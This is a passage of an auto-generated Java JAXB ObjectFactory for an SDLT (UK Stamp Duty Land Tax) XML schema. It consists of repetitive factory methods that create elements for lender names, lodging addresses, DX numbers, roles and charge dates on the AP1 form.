SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsPurchLenderRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchLenderRepresented_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderRepresentedBy", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderRepresentedBy_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeName", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeName_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeHouseNo", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeHouseNo_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeHouseNo2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeHouseNo2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeAddress1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeAddress1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeAddress2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeAddress2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeAddress3", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeAddress3_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgePostcode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgePostcode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeDXNumber", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeDXNumber_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderLodgeDXExchange", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderLodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderLodgeDXExchange_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderRole1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderRole1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderRole1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderRole2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderRole2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderRole2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchServiceAddress1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchServiceAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchServiceAddress1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchServiceAddress2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchServiceAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchServiceAddress2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchServiceAddress3", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchServiceAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchServiceAddress3_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorLender", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsVendorLender(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorLender_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderName", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderName_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderMDCode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderMDCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderMDCode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderChargeDate", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<String> createSDLTSDLT2AP1AP1VendorLenderChargeDate(String value) { return new JAXBElement<String>(_SDLTSDLT2AP1AP1VendorLenderChargeDate_QNAME, String.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorLenderRepresented", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsVendorLenderRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorLenderRepresented_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderRepresentedBy", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderRepresentedBy_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeName", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeName_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeHouseNo", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeHouseNo_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeHouseNo2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeHouseNo2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeAddress1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeAddress1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeAddress2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeAddress2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeAddress3", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeAddress3_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgePostcode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgePostcode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeDXNumber", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeDXNumber_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeDXExchange", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderLodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeDXExchange_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderRole1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderRole1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderRole1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderRole2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLenderRole2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderRole2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorLender2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsVendorLender2(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorLender2_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2Name", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2Name(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2Name_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2MDCode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2MDCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2MDCode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2ChargeDate", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<String> createSDLTSDLT2AP1AP1VendorLender2ChargeDate(String value) { return new JAXBElement<String>(_SDLTSDLT2AP1AP1VendorLender2ChargeDate_QNAME, String.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorLender2Represented", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsVendorLender2Represented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorLender2Represented_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2RepresentedBy", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2RepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2RepresentedBy_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeName", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeName_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeHouseNo", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeHouseNo_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeHouseNo2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeHouseNo2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeAddress1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeAddress1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeAddress2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeAddress2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeAddress3", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeAddress3_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgePostcode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgePostcode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeDXNumber", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeDXNumber_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2LodgeDXExchange", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2LodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2LodgeDXExchange_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2Role1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2Role1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2Role1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLender2Role2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorLender2Role2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLender2Role2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchLender2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1IsPurchLender2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1IsPurchLender2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLender2Name", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLender2Name(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLender2Name_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement 